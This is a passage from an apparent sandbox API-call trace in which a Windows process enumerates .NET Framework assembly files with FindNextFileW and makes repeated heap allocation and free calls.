nFileSizeHigh=0x0, nFileSizeLow=0x3d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0080.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.087] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993ade39, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x993ade39, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b475983, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0080.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.087] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994463ad, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x994463ad, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b72321f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0080.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.088] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0080.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.089] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e17da7, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99e17da7, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b807a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0080.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.090] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99efc5d5, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99efc5d5, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cc8f6ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0080.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.091] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa973a308, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa973a308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9760469, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0080.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.092] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0080.092] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0080.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.092] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae31b18, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaae31b18, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53cd8e4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0080.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.093] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaef01e9, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaaef01e9, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53d25107, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0080.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.094] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98b70cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa98b70cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0080.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.095] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ce1753, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9ce1753, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d078b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0080.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.096] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bfcf11, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bfcf11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c6f332, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x515000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0080.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.097] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a53bf17, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a53bf17, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0080.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.098] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9655ac7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9655ac7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa967bc27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0080.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.098] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9609806, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9609806, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa962f966, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0080.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.099] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96a1d87, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96a1d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96c7ee8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0080.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.100] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a72b0d0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a72b0d0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cfaf3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0080.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.101] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8f412c, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a8f412c, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d04792d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0080.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.102] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a98c6a0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a98c6a0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d106003, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0080.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.103] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ad71, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9aa4ad71, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d17841d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0080.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.103] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97d2889, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97d2889, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0080.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.104] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acf85fb, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9acf85fb, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d2a8f0d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0080.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.105] 